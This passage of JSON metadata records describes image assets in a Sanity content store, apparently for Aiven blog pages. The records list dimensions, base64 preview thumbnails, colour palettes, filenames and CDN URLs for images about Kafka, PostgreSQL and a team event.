ground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#717171","foreground":"#fff","population":11.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"22870606-kusum-grayscale_107707a077076000002028.jpg","path":"images/sczeoy4w/production/cdcaabfef78acec50a9e310dc518c7b660500324-259x258.jpg","sha1hash":"cdcaabfef78acec50a9e310dc518c7b660500324","size":8492,"uploadId":"hgUMFP4HC6jdc4wXs9USd5aSGkJJ5J8a","url":"https://cdn.sanity.io/images/sczeoy4w/production/cdcaabfef78acec50a9e310dc518c7b660500324-259x258.jpg"} {"_createdAt":"2022-07-20T13:58:15Z","_id":"image-ce005b71353568481b8fb8eec82c69a4c34f0052-1200x630-jpg","_rev":"qSZxM9b8jt7q1sKE6pv33X","_type":"sanity.imageAsset","_updatedAt":"2022-07-20T13:58:15Z","assetId":"ce005b71353568481b8fb8eec82c69a4c34f0052","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOPsVC?wogDi_3PDIUkCxZf,~VD%Rj-pIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGB//EACIQAAEDAwQDAQAAAAAAAAAAAAIBAwQABREGEiExBxNBkf/EABQBAQAAAAAAAAAAAAAAAAAAAAP/xAAbEQABBQEBAAAAAAAAAAAAAAAAAQIDESETFP/aAAwDAQACEQMRAD8A3aRDuhSHCakjsUsiKl0lTXkHVkuwMNR0Efe6mUUc8ondWjaYlGvP7S90tkK4PMFNjNvE2q7VNM4oHzXg7Yq0W0/qOFdLSxKBzbuHBCXaL9op+NCjR2kbYYbbBOhEeKKP0qonFp//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414142","foreground":"#fff","population":6.86,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1859bf","foreground":"#fff","population":0.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#414142","foreground":"#fff","population":6.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c99797","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2d189","foreground":"#000","population":1.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a5fa8","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efa42f","foreground":"#000","population":1.7,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Why_Aiven_meta_preview.jpeg","path":"images/sczeoy4w/production/ce005b71353568481b8fb8eec82c69a4c34f0052-1200x630.jpg","sha1hash":"ce005b71353568481b8fb8eec82c69a4c34f0052","size":202849,"uploadId":"9AZIE0DergTGACPp4I1u59GiEi0vljLu","url":"https://cdn.sanity.io/images/sczeoy4w/production/ce005b71353568481b8fb8eec82c69a4c34f0052-1200x630.jpg"} {"_createdAt":"2022-06-15T20:02:05Z","_id":"image-ce30aaee6c41618e092fefe517caf41192932e1a-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO7zQn","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:20Z","assetId":"ce30aaee6c41618e092fefe517caf41192932e1a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MoH.Tj%hRPbcR*.A%MV?ShoLxuxCWBkDjY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADD0lEQVQokQXB/VOSBwDA8edv2U/+NG+3VsNqnbJpUzzEl1LUnIEKmogoyIs8iA8gb6LmQMW5dDqvLm6305tX69bMutzpbC8mUUgT0Niau+0/+O7zEXJ//Uc2/5bDbIHk0RuSRwVSRwVeHObZPzhk95ckj/ZesLGX4fbPOWI7BcSf/kbz6E+0Kw8ZGrDQUVmNquQSVz76EOHo+C3ZVJrkfoq9g1fsZ/K8Pjkl9+aUbK5AJpPjeSrD9u9pHjzLsLZ3xPJOnvHvDxAnFhjWtGKpq8JYV8MNlQLh/v4xW79mePzbazafZ3maLrCf/4fMyb/8cXzKweEJD3dTrGzsMn13m8nEDpHENmNzt/GYjfjblHiaqxlurqevvgbBvp4ieD9F7MeXzGy+Ym4rzdLjNHeevCSxlWTx3jMCX29iuvkdncE1tKF1dIFljI4+XD0KInoVvvYGTHVK1PIyhK6Fp5iXtnB89QO2xQdYv7yHKb6BIbrO4Mwa4vw67vi3iNG7OKdXcUzcwuoZwWIqx649h19XRUBfj71VSfPHMgTD1DfYowlcM3dwxVaxTi1hiixhCC9jmVxBii3jmV7APR5hNOBEGjUh2Vuw6y5gbr2Ar7OK2ICK8I3L6JTFCCZ/jJGpOMGZeUKz80g3Y0jTMwRicabm4kxGI4iSld5+Dd16Febeckb6KrC1V+DW1jJrVnPL0cCY7hMa5UUIroATT9iFZ9zNaNiNGBCRgsOEwjbGAyY8Li1GQz0d1y9j6DqPq/8MHkMZHv1V4rZOVlzXiJpqGWgqp+JsMYJb+oxRnwbJ343X34vk68LrbUMSG7GbVRi6P6Wro5TB3g8IOoqJWGWEjApm7R0kgkYW7dcYaVOiqSxHWXIOoc9YzZCtBre7iTFvC35vLV53JQ5LBYNGOQMGGfbBYgLOIsK2d5G65Yzpr/KFU8eqp4ewXo1eoUBdWkpLqQzhurYSfU8F/SYFZnMVtqEyRNtFnJbziJYz+IaLiEjvEBKLMGveR1Mtx9x0hYm+dj4faMOqrqPxUhm1srM0lLzH/2mCOuG/pS4eAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#553732","foreground":"#fff","population":6.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#847125","foreground":"#fff","population":7.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#847125","foreground":"#fff","population":7.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2a48e","foreground":"#000","population":4.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0c65f","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5881ab","foreground":"#fff","population":2.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#22bef0","foreground":"#fff","population":0.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ce30aaee6c41618e092fefe517caf41192932e1a-1567x844.png","path":"images/sczeoy4w/production/ce30aaee6c41618e092fefe517caf41192932e1a-1567x844.png","sha1hash":"ce30aaee6c41618e092fefe517caf41192932e1a","size":2848949,"uploadId":"6cuwKIyibG9BHxjzNnBlh3AKKGOWiPUE","url":"https://cdn.sanity.io/images/sczeoy4w/production/ce30aaee6c41618e092fefe517caf41192932e1a-1567x844.png"} {"_createdAt":"2023-12-06T17:19:25Z","_id":"image-ce6589d62e8e83c19790b985106adbc24eaacdf1-1999x1047-png","_rev":"zHeFW2t7bUb3lAyGGtAEs1","_type":"sanity.imageAsset","_updatedAt":"2023-12-06T17:19:25Z","assetId":"ce6589d62e8e83c19790b985106adbc24eaacdf1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5Ss50_300%Nnh~WE1nhWWn+IAIVxaj?ni","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.909264565425024,"height":1047,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABUUlEQVQokYVSi47DIAzr/3/ptkJLSwIJj/oUep12t3sgWS0CHMfxxM4h+AUxRqScUUpBrXWgtYbe+4+w88SMuO1IkZBDRHosmPYQ4JyH8x4hbGBmiMgLdED1s1DrKLVDtYKJQNsG4QRNCmHBtO8EvwSs64Z9jyBipJS+IQ9yI9TSkaQjSx3FKUZIFrRmyg9MnAREGVn02Wqt7Q3Xg1oPiHaItlEoWrs5n3dOwgwyyVpwHAdsfX7elp23doyWS2lgTsMm64xZhurJqtiBqqI/CY9fYSoNNjBTd7/PuN0e8H5FjAmTkZlvZrxN73r437K7MTLuDzcInbOk0DkUk2xKS6lfSP9W2odVs1swz2dCchZMliWihJR1EJr51s7rgK590TJyavuzZX62vK5h2DYVsZichtZ6htaIr6jY/4iL6hkTs0ctEQ3EGd5vWJaASDSKfQBifg0sCrAdAAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#525252","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#770c0e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbafb4","foreground":"#000","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbafb4","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7abb2","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b66e78","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee6163","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ce6589d62e8e83c19790b985106adbc24eaacdf1-1999x1047.png","path":"images/sczeoy4w/production/ce6589d62e8e83c19790b985106adbc24eaacdf1-1999x1047.png","sha1hash":"ce6589d62e8e83c19790b985106adbc24eaacdf1","size":364076,"uploadId":"XzDTIPYllrr3jYJigDbaB9I3B5jvKh2A","url":"https://cdn.sanity.io/images/sczeoy4w/production/ce6589d62e8e83c19790b985106adbc24eaacdf1-1999x1047.png"} {"_createdAt":"2023-09-21T08:17:52Z","_id":"image-cebe8efaf5fead58de68ab581fa55ac0f06c2a99-1200x628-jpg","_rev":"rpwBSMa1i11HwZnbWq6sx5","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T08:17:52Z","assetId":"cebe8efaf5fead58de68ab581fa55ac0f06c2a99","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M98EJ$$@D$t6M{_4oeM_ozRk9FRjxuj^j;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQCBQYH/8QAIBAAAgIABgMAAAAAAAAAAAAAAQIAAwQFERIxMhMiUv/EABYBAQEBAAAAAAAAAAAAAAAAAAQCBv/EABsRAAIBBQAAAAAAAAAAAAAAAAARAgEDEiFB/9oADAMBAAIRAxEAPwDj+XYjKRhKhcii1R7ErzLF8dky0611I7/O3mZQE+CuTq7zUWoujCS0N3Gl7XZV2KTqF14hF37GEVkuEH//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362f69","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#132470","foreground":"#fff","population":10.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#132470","foreground":"#fff","population":10.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8494b7","foreground":"#fff","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5dceb","foreground":"#000","population":8.35,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697094","foreground":"#fff","population":2.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b9484c","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"kafka-python-jupyter-notebook_meta-preview.jpg","path":"images/sczeoy4w/production/cebe8efaf5fead58de68ab581fa55ac0f06c2a99-1200x628.jpg","sha1hash":"cebe8efaf5fead58de68ab581fa55ac0f06c2a99","size":70631,"uploadId":"iERSYZmBTUuvGHVL1CFby15H0TK8MbcO","url":"https://cdn.sanity.io/images/sczeoy4w/production/cebe8efaf5fead58de68ab581fa55ac0f06c2a99-1200x628.jpg"} {"_createdAt":"2022-06-30T20:00:40Z","_id":"image-cedf014efe7f2460a8f4fd23fd33a6485cbdd778-1509x900-png","_rev":"cEPH2uRN58AU2lp9QO86tl","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:48Z","assetId":"cedf014efe7f2460a8f4fd23fd33a6485cbdd778","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3RpF3^+ou~pouEeRQIVRQIU00%K%LobRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6766666666666667,"height":900,"width":1509},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACJElEQVQokVVSa28TMRC8//9jKloVJCQkKlqKEA+1DX1BICVtkza5O/tsr9fru2TQOimUDyN7197ZmbWrt5/P8ObTBV5/vMCr4xH2jk7x4t0Jdg9PsXd0ht3DE+wcfMHOwddytv9+hP3jb3ip+LBdC0blrBpP7zGezjG5X+Ln3QIXkxlG41tcTmb4Pn3E1fQB5zdzjH7d4Xxyh6vJDNc3c/y4fcT4folrrfk9x+XNrNRU3gcYa0ExQiQjEMOHCE4JKWewZJAIAjNCjAgUQZHBIuDcwyVBTRENEUwgVCIJ1hp479D3fSFV9MOArHFOEGHovZwz5BmSCChndCKwzPDMqHIWWNPCWouUBLyF9D1SFjBHRCIQUSFQ1ZQSQqSiNqlSEXiO8JFQDcOA4F0hZGYkVZh7DMPqr0ptFCMXVXkYwFlA2oh546IXkBBiYlTr9RpEAW3bIISAyKngiViV6qpxzj1yPyDlvqhSdaJn2kAYpITDag1HAcu2QecDnCcY6+Cchw9qdWOrkJe5bWZX9joeTmVEKiJERpWGNUyIeGgMWhdgOo+6btG2BsZY2K4rpFqotkOgArWrMZFa37jSH1JlVRgTFq2FcQG281guWyxrg7q1aExXcnbbrDWu5Izd5BTqygeGCxHVarUqL2a2SvQP1q3DoumwbF1B3fqCp3jZ/J+vjUdjAmoTUGUROGfhfAfRD0ypXFiUIiXZYNE8QZs93/+DNvkDFdaPi+onW/sAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#375162","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#27547e","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#437baa","foreground":"#fff","population":0.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1c9c9","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ab9dd","foreground":"#000","population":0.5,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#648aa1","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#437baa","foreground":"#fff","population":0.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cedf014efe7f2460a8f4fd23fd33a6485cbdd778-1509x900.png","path":"images/sczeoy4w/production/cedf014efe7f2460a8f4fd23fd33a6485cbdd778-1509x900.png","sha1hash":"cedf014efe7f2460a8f4fd23fd33a6485cbdd778","size":190191,"uploadId":"WLDaIEj57g2k3GaeRmaDsYUNZ19wjMRs","url":"https://cdn.sanity.io/images/sczeoy4w/production/cedf014efe7f2460a8f4fd23fd33a6485cbdd778-1509x900.png"} {"_createdAt":"2022-06-15T20:02:42Z","_id":"image-cee3a04025f3492cf493ab331e44d2cd77d6fd74-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8JK5","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:48Z","assetId":"cee3a04025f3492cf493ab331e44d2cd77d6fd74","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYQc6k*0#n9]-oK8g2i^oys;x[Q-S#xGR-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC+klEQVQokU3Oy08bVxTH8fnrWmXVVpXSVCy66aJSpUSKVIji9LWIUthUiqLGgaR28MLYDBZQmqikOLHaAPbMGGNs8Hg8ntcdP+69M8zYYwgxPiciIlUXH/10NkdfwbTpTU0nCVVzVlTNXm40LbGpOaKmE1HV7PcMqy92+6HYpQOx0x+INvHEcuVI3N4tiy2dLFM+XGHeMMl5eFtQNedJpdpoSkrNl5Qak+QDfkFWav9t/cjgNuHc7YXcdBhXKod8eWWNJxIpvvUiz6x6w/ebuha0zaeCTXhWNzpes+XgB6pmv/fh1s0e2q6Hpk2xJO9j/NFjvH79Bk5PT+Piw4fYeJrEKP7o+DSe2BAoj5Yoj2ifDbHPhpM+G8L/9egAOr0QHJfDQa0BudwqzMzMwJfXvoDbM9/B6v25iTH9DZ5d/TSET65tC8wbZZg3YswbIfNGcLmXIuzTEHs9H13LQnmngOurOUylUrgwP4+rqcdYe3ALgm8/xsnURwP8aqp0UZihPGKUR0h5BIxHyPgQOQ/RYz6yHkXecZHqCpZfpfGvDRG3trYwn89jMbeAnV8+h/GPVxDjtwJYmc9fFkaMeRdPBhOPB+AzDwJKIex3IOxaEBINAq0A9cLvsC4mYGkpA9lsFv6cvwva3GfwNn0TsbJ2DMbOpsBZmOEsoBc1PmWTgHZh0CcQ9Uw46bbg1G3AyK7CsVqA+j9pWFuKQ+JJHJLJJGQWfoX9xTuT050korXjA1E2hWPbznKzzanZQp/oOOrq+KbbxLPOIY7dAzwnFTyzJHTKf+PrZynM537D5+ICrotpfLmRRWt3Dd+2CohOKQBHeiEMm/sPeF0udw8Vw2/vq29ITR27VXVC9tQJUVQkijq2iqq++0x9/ceidlRIt/XiunG0/dxwKq+Mk/ZuGxzZAkeqgiOlhBOjOjVo7f0Q6OW7I3Pv+zHZiwFRYkDkGDhSDIkcO7dKMV57ecctb/400v69NzaLs2dmcfbcLs2CI82iI82BI/0MRP76HT1p3cEHnufgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44302a","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#801803","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fae3ce","foreground":"#000","population":14.49,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cc4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fae3ce","foreground":"#000","population":14.49,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927e5b","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95130","foreground":"#fff","population":4.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cee3a04025f3492cf493ab331e44d2cd77d6fd74-1567x844.png","path":"images/sczeoy4w/production/cee3a04025f3492cf493ab331e44d2cd77d6fd74-1567x844.png","sha1hash":"cee3a04025f3492cf493ab331e44d2cd77d6fd74","size":405071,"uploadId":"IxQYt04VuLI1xcwzDq1siHRU9nEKR2Ax","url":"https://cdn.sanity.io/images/sczeoy4w/production/cee3a04025f3492cf493ab331e44d2cd77d6fd74-1567x844.png"} {"_createdAt":"2023-05-22T10:08:18Z","_id":"image-cf233865a1488167be09123ed7a6febf1fa7fba4-3133x1688-jpg","_rev":"4JMA3H9bBgAwAcyypUGdPT","_type":"sanity.imageAsset","_updatedAt":"2023-05-22T10:10:38Z","altText":"Crab Week team photo","assetId":"cf233865a1488167be09123ed7a6febf1fa7fba4","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M=Ov.S{yV@KPoe%MRjWBt7WBo}WAWBofay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQGAwX/xAAlEAABAwQABQUAAAAAAAAAAAABAgMEAAURMQYSEyFBFCMkMkL/xAAVAQEBAAAAAAAAAAAAAAAAAAAGB//EACARAAEDAgcAAAAAAAAAAAAAAAEAAhFB0QMEBQYUI2H/2gAMAwEAAhEDEQA/AHES2whAbYRzAYJUN1rP4wulqjQWYz6I0doLPc456TVpGtVJ8SfJkvof9xLaCEBX57eKFaI48ojyyoW42tGVBit11Jd4vd4d9ZBcWtpY+wOMnzRUPbbhLYjdJmQ4htBwlIOhRSvsoUNnCrK//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#623f37","foreground":"#fff","population":2.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#89141b","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":17.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3bdc5","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3b982","foreground":"#000","population":0.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986857","foreground":"#fff","population":7.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":17.16,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"1905_CrabWeek_BlogPost.jpg","path":"images/sczeoy4w/production/cf233865a1488167be09123ed7a6febf1fa7fba4-3133x1688.jpg","sha1hash":"cf233865a1488167be09123ed7a6febf1fa7fba4","size":4203830,"title":null,"uploadId":"HTywG1bSi2TI9UVV3vu7TUclFV9hYSC5","url":"https://cdn.sanity.io/images/sczeoy4w/production/cf233865a1488167be09123ed7a6febf1fa7fba4-3133x1688.jpg"} {"_createdAt":"2022-12-01T15:53:18Z","_id":"image-cf247f6dac0200485a24bd009ccb2776971efb35-1875x1042-png","_rev":"lhoXF04OR35CGYtnFnkq5l","_type":"sanity.imageAsset","_updatedAt":"2022-12-01T15:55:33Z","altText":"Checking the Jar dependencies is a requirement to have a working Kafka connect connector","assetId":"cf247f6dac0200485a24bd009ccb2776971efb35","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7994241842610366,"height":1042,"width":1875},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADYUlEQVQokTWSXUxbBRiGv/5AaVk6IIOdMtgGkjEzV9raA2YbZiqh4ryB1onbVFymCy6rbp0WyASVC3VuWcokagqk9Gxlp9Cf05bT09LRsh26Mj3+sYvFJd6oUbMswZ8tM+ycz7TBi+fyffK+Xz7AOAHI6kCK59kEiAA/hl+AALukoP3+aoq62Do+Pv78yMhIx/DwsNH+tmO9bMcbSsL0ijL06lYF9oP8nkMB6ATAdwFAYnVKjBMaidWtE1ldyf3YI8U4D/JceqacYULdly5dvOxyuRacTmfKbrefe6fv9K7G505X1ptsVaGeugrsg9K/HUo59q0JMU4oJVZXinGiDDmiXGRryjFVvf67K5/pE3FmNBwK3XG73eLQ0NDq4ODgV64Lowc7Xj9b3Uy2E3NHNldiP6jvnFDJcGBN+HBWB8gR8r/CtUW/Tm8rWQnqNHcXjxHf8IHuawupNM/z/2YyGYxEIhgMBm/OzrIvf/o5rX3p8XrV92/VqrEfFB9bm2DlZNFaQwRgXQYA9Xuy7a2HSxzt9epbVzybhSV+IJe7/pMgCNLy8rIoCAJms9nbPM/35vhr2lNX78NdT4+sMPV/nABw9LClIIXtxxVtT3dp6f1VVT+PvVYvZDPHs9nsLZ7nMZ1Oi4lEAjmO+z2ZTH44l8lsvDExDmd/wUIWWztAMhwAbOkEuHmgAbC3GEDnkL2/f4/q9lFlxZ+f6InFuWjn/Pz8YiqVEmOxmBQMBpFhmBWOZUcWIrG6vOmHj87JpMYjgKQV0GwrAGJPLdzY9xjY9zQBYiugHRS/fdFVkmBjlnicu8pxnJi/XyAQQCYc/icZiY59OzqxE2ue0jzYe0iDZluxRFrleZlktgKI+5qLhb27NcdIUm0kW1RQqpPPJK/Lo9HokwzDzIbD4Xt+v3/V5/M9pGn6j/Bl+nzuzIVHcduz2tVd3RVI2sqQtK1D0qZC0ioHsbOpUmhrrnuz2bxVbzASJoNe80H/Kdn09HQdTdMnpqamZiYnJ+c8Hk/C6/WOeSYmunxnzpdjzTOKB7u7VWi25ltqkbSVotmmBOnFxg1fW4xbeltMW3Y2GTaajAZNY0MDeL3eIoqiNlEU9YTH47FQFNXm8/n0X7rdZe0DJ2VLBkvhRZC05VFIpFUhma2y/wCWHqACqJ1wDQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a343b","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#604210","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#604210","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1d1c1","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec547c","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa6a70","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e63f5e","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"8_Tipst_in-line-image2 (1).png","path":"images/sczeoy4w/production/cf247f6dac0200485a24bd009ccb2776971efb35-1875x1042.png","sha1hash":"cf247f6dac0200485a24bd009ccb2776971efb35","size":1286035,"title":"The magic potion","uploadId":"A3kydImirokcC3a2FrjhO7gMX3EjSxtY","url":"https://cdn.sanity.io/images/sczeoy4w/production/cf247f6dac0200485a24bd009ccb2776971efb35-1875x1042.png"} {"_createdAt":"2022-10-19T13:30:39Z","_id":"image-cf3804e56ec0a235fb8e7bcdac1bbcef21838170-1567x844-png","_rev":"ITl0glDgB5pPLZh9X6fCgP","_type":"sanity.imageAsset","_updatedAt":"2022-10-19T13:31:29Z","altText":"Using PostgreSQL® FuzzyStrMatch to help name your 